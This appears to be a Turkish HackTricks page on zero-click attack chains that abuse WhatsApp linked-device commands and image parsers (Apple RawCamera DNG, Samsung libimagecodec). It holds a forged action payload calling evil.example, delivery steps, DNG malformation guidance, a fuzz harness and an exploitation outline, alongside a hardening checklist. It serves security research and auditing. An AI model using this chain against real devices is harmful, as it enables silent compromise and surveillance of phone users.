Zero-click Messaging → Image Parser Chains

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin

TL;DR

  • messaging app multi-device/companion protocols’u uzaktan kumanda kanalları gibi ele alın: eğer protokol alanlarının güvenilen cihazlardan geldiği varsayılıyorsa, yine de kullanıcı kontrolünde olabilirler ve sıklıkla mağdura karşı doğrudan tekrar oynatılarak 0 user interaction ile rastgele içerik yüklemek için kullanılabilirler.
  • Herhangi bir uygulama güvensiz medya getirmeye zorlanabildiğinde, sandbox’tan çıkmak için bozuk dosyalarla shared OS media pipeline’ı hedefleyin (RawCamera on iOS/macOS, vendor parsers on Android OEM builds).
  • Burada tartışılan DNG tabanlı RawCamera ve Samsung parser hataları somut örneklerdir, fakat tam teknik mantık hatası → image parser memory corruption → full device compromise zincirlemesi için yeniden kullanılabilir bir şablondur.

Remote content loading via WhatsApp linked-device commands

Attack surface recap

WhatsApp “linked devices” mimarisi, birincil telefonu ve her bir companion’ı (desktop, tablet, ikinci telefon) şifrelenmiş, yapısal protokol mesajlarıyla senkron tutar. Her mesaj şunları kodlar:

  • Device metadata (device ID, capabilities, feature flags).
  • Action descriptors (ör. sync chats, fetch thumbnails, render remote content).
  • Arbitrary parameters such as URIs, MIME hints, pagination keys, etc.

On Apple clients, bu linked-device kontrol paketlerini işleyen handler, geçerli bir eşlemenin zaten yapıldığını implicitly trusted, bu yüzden yüksek etkili alanlar (ör. resource_url, open_media, sync_snapshot) sadece asgari düzeyde doğrulandı. Bu nedenle kötü niyetli bir companion mesajı şunları yapabilirdi:

  1. Telefon numarasıyla tanımlanan herhangi bir hesaba yönlendirilebilirdi.
  2. Alıcı, gönderenin gerçekten eşlenmiş bir cihaz olduğunu asla doğrulamadığı için transport yığını (Noise protocol + WhatsApp protobuf framing) üzerinden geçip sağ kalabilirdi.
  3. iOS istemcisine ulaştığında, savunmasız kod yolu arka planda otomatik olarak saldırgan URL’sine bir HTTP(S) isteği tetikleyip yanıtı gizli bir WebView/media renderer içinde parse ediyordu.

Practical workflow for auditors

  1. Capture legitimate linked-device traffic. Bir debugger veya Frida script’i ile desktop/iOS client’a bağlanın ve post-decryption handler’ı hook’layın (ör. LinkedDevicesSyncHandler::processAction). Dekode edilmiş protobuf yüklerini dump’layarak mevcut action tiplerini ve parametreleri öğrenin.
  2. Identify fields that cross trust boundaries. http_url, thumbnail_uri, download_url, veya render_html gibi katı allow-list’leri olmayan parametreler taşıyan herhangi bir action, uzak içerik primitive’i için adaydır.
  3. Forge a malicious action. Gözlemlenen protobuf şemasını yeniden kullanın ve yalnızca saldırganın kontrolündeki alanları değiştirin. Aşağıda ilgili mantıksal yapının basitleştirilmiş bir JSON görünümü gösterilmiştir (gerçekte transport protobuf/Noise’tur, fakat anlamsal alanlar uyuşur):
{
"op": "sync_action",
"device_id": "<attacker-companion>",
"payload": {
"target": "content_sync",
"resource_url": "https://evil.example/payload.html",
"media_type": "image/dng",
"flags": ["background_fetch", "render_inline"]
}
}
  1. Deliver to the victim. Hazırlanmış paketi, bağlı cihaz trafiğini normalde ileten aynı WhatsApp servisi üzerinden yeniden oynatın (ör. saldırgan hesap anahtarlarınızı yeniden kullanan modifiye bir masaüstü istemci veya özel bir Noise istemcisi kullanarak). CVE-2025-55177 eylemleri kimlikli cihazlara bağlamadığı için, kurbanın iOS/macOS istemcisi mesajı kabul eder ve herhangi bir UI olmadan hemen saldırgan URL’sini getirirdi.
  2. Instrument the fetch. Zorlanan HTTP(S) isteğini ve iç renderer’ı (WKWebView/ImageIO) gözlemleyin. Bu noktada WhatsApp içinde bir zero-click web delivery primitive’e sahip olursunuz.

Weaponizing auto-decoded DNGs against RawCamera

Saldırgan WhatsApp’ın neleri yüklediğini kontrol ettiğinde, sonraki hedef iOS/macOS’un kötü amaçlı bir Digital Negative (DNG) dosyasını RawCamera framework ile parse etmesini sağlamaktır. .dng’ye çözülen herhangi bir gömülü <img>/CSS URL’si sistem görüntü pipeline’ına iletilecek ve WhatsApp DNG’leri açıkça işlemiş olmasa bile RawCamera’yı çağıracaktır.

Triggering RawCamera from WhatsApp

  • Farklı render yollarını kapsamak için DNG’ye atıfta bulunan HTML sunun (ör. <img src="evil.dng">, CSS background-image: url('evil.dng'), veya <picture> kaynakları).
  • Doğru MIME (image/x-adobe-dng) ve küçük önizlemeler sağlayın, böylece loader boyut heuristikleri yüzünden erken vazgeçmez.
  • iOS medya sandbox’ı dosyayı CGImageSourceCreateWithURL aracılığıyla RawCamera’ya akıtacak ve sonunda zafiyetli decoder’a ulaşacaktır.

Crafting memory-corrupting DNGs (CVE-2025-43300 style)

2025’te görülen hata, genel bir bozuk TIFF’ten daha spesifikti: DNG, iç SOF3 bileşen sayısının TIFF/DNG meta verisi (SamplesPerPixel) ile uyuşmadığı JPEG-Lossless görüntü verisi taşıyordu. Pratikte RawCamera bazı tamponları dıştaki TIFF alanlarından boyutlandırabiliyor ve daha sonra kod çözme sırasında gömülü JPEG-Lossless akışa güvenebiliyordu; bu da 20 Ağustos 2025’te iOS 18.6.2 / iPadOS 18.6.2’de düzeltilen out-of-bounds write’e yol açıyordu.

Bu, denetçilere “rastgele etiketleri değiştir“den çok daha sıkı bir triaj kuralı sağlar:

exiftool -s -SamplesPerPixel -BitsPerSample -Compression poc.dng
python3 - <<'PY'
from pathlib import Path
data = Path('poc.dng').read_bytes()
sof3 = data.index(b'\xff\xc3')
print('SOF3 components =', data[sof3 + 9])
PY

Eğer SamplesPerPixel ile SOF3 bileşen sayısı uyuşmuyorsa, CVE-2025-43300 için kamuoyunda tartışılan tam primitive’ye çok yakınsınız. Parsing path’i bulduktan sonra hala fuzz etmeye değer tipik bitişik leveller şunlardır:

  • Tile/strip descriptors: TileByteCounts/StripByteCounts değerlerini gerçekçi değerlere ayarlayın, ancak TileOffsets’u ayrılmış tamponun ötesine işaret edecek şekilde artırın.
  • Sub-IFD chains: Çakışan ImageWidth/ImageLength ve BitsPerSample içeren ikincil görüntüleri gömün; böylece RawCamera küçük bir tampon hesaplarken sonraki aşamalar saldırgan tarafından kontrol edilen boyutlara güvenir.
  • Opcode metadata: OpcodeList3 girdilerini manipüle edin, böylece satır bazlı işlem saldırganın seçtiği indeksler üzerinde çalışsın.

Bu tür bozulmaları avlamak için temel bir mutation harness macOS etrafında kurulabilir, çünkü aynı RawCamera kodu macOS/iOS/iPadOS üzerinde dağıtılmaktadır:

#!/bin/bash
set -e
for sample in corpus/*.dng; do
radamsa "$sample" > /tmp/poc.dng
/System/Library/CoreServices/RawCamera.bundle/Contents/MacOS/RawCamera /tmp/poc.dng >/tmp/out 2>&1 || {
mv /tmp/poc.dng crashes/$(date +%s).dng
}
done

Her RawCamera çökmesi size yeni bir primitive verir. Yayınlanan PoC, WhatsApp’i iPhone, iPad ve Mac’te çökertmeye yetecek kadar güvenilir bir out-of-bounds read/write elde etti.

0-click zincirini oluşturma

  1. Linked-device packet → WhatsApp’ı herhangi bir dokunuş olmadan https://evil.example/payload.html adresini getirmeye zorlar.
  2. Payload HTML → sessizce evil.dng’ye referans verir, böylece OS medya yığını tarafından RawCamera’nın çağrılması garanti edilir.
  3. Malicious DNG → özel hazırlanmış etiketleri kötüye kullanarak RawCamera OOB’u tetikler ve görüntü çözücüsünü çökertir/ele geçirir.
  4. Post-corruption exploitation → info-leak gadget’ları ekleyin (ör. predictable heap metadata’yı kötüye kullanmak) ve WhatsApp sandbox’ından çıkarak daha ayrıcalıklı bağlamlara erişmek için bir ROP/JOP zinciri kurun.

Her adım otomatik olduğundan, saldırganın yalnızca kurbanın telefon numarasına ihtiyacı vardır. Hedef cihazda hiçbir bildirim, banner veya istem gösterilmez.

Yeniden kullanılmaya değer son Apple parser-chain kalıpları

Bu WhatsApp → DNG → RawCamera zinciri, son Apple zero-click kampanyalarında görülen aynı tasarım desenine uyar: daha az kısıtlı bir parser’a ulaşan bir alternate attachment wrapper bulun, sonra OS’nin hevesle önizlediği bir dosya formatını silahlandırın.

  • BLASTPASS (September 7, 2023 / iOS 16.6.1): Citizen Lab, görüntü içeren kötü amaçlı PassKit eklerini bildirdi ve Apple Wallet (CVE-2023-41061) ile ImageIO (CVE-2023-41064) için yamalar yayınladı. Project Zero’nun sonraki analizi operasyonel olarak neden bunun önemli olduğunu gösterdi: saldırgan yalnızca bir parser hatasına değil, aynı zamanda image parsing’i normal BlastDoor yolunun dışına taşıyan ve farklı bir süreçte çalıştıran bir konteynere de ihtiyaç duyuyordu. Mesajlaşma uygulamalarını denetlerken, sadece bariz görüntü ekleriyle sınırlı kalmayın; helper daemon’larda arka plan önizlemelerini tetikleyen her ek türünü (.pkpass, contact card’lar, sticker bundle’lar, inline HTML, QuickLook önizlemeleri) listeleyin.
  • TRIANGULATION (patched in iOS 15.7.8 on July 24, 2023, with the mainline fix already in iOS 16.3): Kaspersky, kötü amaçlı bir iMessage eki ile Apple’a özel, belgelenmemiş ADJUST TrueType talimatının tetiklendiğini gösterdi (CVE-2023-41990). Pratik ders şudur: fonts are image-parser cousins — zengin metin önizlemeleri, font fallback ve küçük resim oluşturma, uygulama yalnızca “documents” veya “stickers” desteklediğini iddia etse bile parser giriş noktaları haline gelebilir.

Bu yüzden tekrarlayan denetim sorusu şudur: hangİ mesaj türleri belirgin chat renderer dışında bir süreçte sessizce parsing’e neden oluyor? Genellikle zincir burada başlar. Şüpheli bir dosyanız olduğunda örnek triage ve alanlar arası tutarlılık kontrolleri için this generic structural file-format detection page sayfasını yeniden kullanın.

Samsung vendor image parser paralellikleri

Samsung’un CVE-2025-21043 bülteni, Gallery, Messages ve dolaylı olarak WhatsApp tarafından kullanılan kendi tescilli görüntü parsing yığınının (libimagecodec/libOneUI_ImageDecoder) untrusted media üzerinden erişilebilen bir out-of-bounds write yaşadığını doğruladı. Sömürme metodolojisi Apple zincirini yansıtır:

  • Saldırgan dosyasını Samsung’un libimagecodec/libOneUI_ImageDecoder kütüphaneleri ile parse eden otomatik önizleme vektörünü (chat küçük resimleri, bildirim önizlemeleri, paylaşım sayfaları vb.) tespit edin.
  • OEM kütüphane güncellemelerini diff’leyin veya bozuk RAW/DNG dosyaları ile parser’ları fuzz ederek RawCamera çökmesine benzeyen bellek bozulmaları görünceye kadar test edin (heap metadata clobber, register kontrolü vb.).
  • Hazırlanmış dosyayı zaten içeriği otomatik yükleyen herhangi bir kanal aracılığıyla teslim edin (ör. aynı linked-device primitive, WhatsApp önizleme fetcher’ları veya Android’in push-to-talk waveform önizlemeleri).

Vendor parser’da bir OOB write bulunduğunda, bunu WhatsApp otomatik fetch primitive ile birleştirmek Samsung cihazlarında başka bir zero-click zinciri üretir.

Test ve sertleştirme kontrol listesi

  • Protocol validation: Her linked-device eylemi için sıkı allow-list’ler uygulayın. Fetch/render talep eden companion komutları cihaz eşlemesini kanıtlamalı (payload’u imzalama) ve URL allow-list ile eşleşmeli veya imzalanmış bir blob olmalı.
  • Transport replay countermeasures: Her eylemi cihaz başına bir anahtara bağlayın ve gönderen anahtarı bilinmeyen paketleri, protobuf sözdizimi doğru olsa bile reddedin.
  • Media pipeline restrictions: Üst düzey uygulamalar yalnızca onaylı MIME tiplerine izin vermeli ve özellik gerekli olmadıkça RAW/DNG’yi açıkça reddetmeli.
  • Parser fuzzing regression tests: Bozuk RAW/DNG dosyalarından oluşan bir korpus tutun ve her güncellemeden sonra bunları RawCamera/vendor decoder’lar üzerinde çalıştırın.
  • Crash triage automation: Fuzz cihazlarına DYLD_INSERT_LIBRARIES sanitizers veya MTE ekleyin ki saldırganlar yakalamadan önce ince OOB durumlarını yakalayın.

References

Tip

AWS Hacking’i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE) Azure Hacking’i öğrenin ve pratik yapın: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks'i Destekleyin